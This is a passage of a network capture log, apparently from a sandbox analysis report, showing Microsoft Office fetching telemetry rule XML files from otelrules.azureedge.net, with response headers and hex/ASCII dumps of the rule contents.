30	192.168.2.10	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:52 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:52 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 58b412e5-a01e-0021-45ed-1f814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221352Z-r197bdfb6b4cz6xrsdncwtgzd40000000c9g00000000d11h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:52 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.10	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:52 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:52 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: a7eb38d6-901e-005b-12d8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221352Z-16b659b4499lfw4zscvav76bhn0000000abg000000009b61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:52 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.10	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:52 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 20e65ee1-a01e-000d-7cd8-1ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221352Z-16b659b4499lfw4zscvav76bhn0000000a8000000000rmxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.10	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:52 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:52 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 0aedbfa7-901e-002a-40ae-207a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221352Z-r197bdfb6b4b582bwynewx7zgn00000003ug00000000smyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:52 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.10	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:52 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:53 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:52 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 68e1e18e-f01e-005d-01d8-1e13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221352Z-16b659b4499lfw4zscvav76bhn0000000a9000000000n3y2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:53 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.10	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:53 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:53 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 90ca98f1-701e-001e-52d8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221353Z-16b659b4499rgn6gzhcff90q8g0000000bw000000000a52s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:53 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.10	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:53 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:53 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 344743f8-701e-0050-2a86-216767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221353Z-r197bdfb6b4kq4j5t834fh90qn000000025g00000000hv69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:53 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.10	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:54 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:54 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 42686fe1-801e-002a-5986-1f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221354Z-r197bdfb6b49k6rshrw4zhxpu00000000c5g00000000d8ke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:54 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.10	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:54 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:54 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: d34f4ef6-701e-0053-0cd8-1e3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221354Z-15b8d89586ffsjj9k4kx5hcf3w00000005ng000000000suh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:54 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.10	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:54 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:54 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 37c2ad28-001e-0049-5fd8-1e5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221354Z-r197bdfb6b4tq6ld2w31u8wmcc0000000cag00000000409v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:54 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.10	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:54 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:54 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 52ecbb12-901e-0029-18d8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221354Z-15b8d89586frzkk2umu6w8qnt800000005k000000000g4sc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:54 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.10	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:54 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:54 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:54 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d34f521c-701e-0053-12d8-1e3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221354Z-16b659b4499rzdzwehs0w9w5d80000000ba0000000008rs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:54 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> 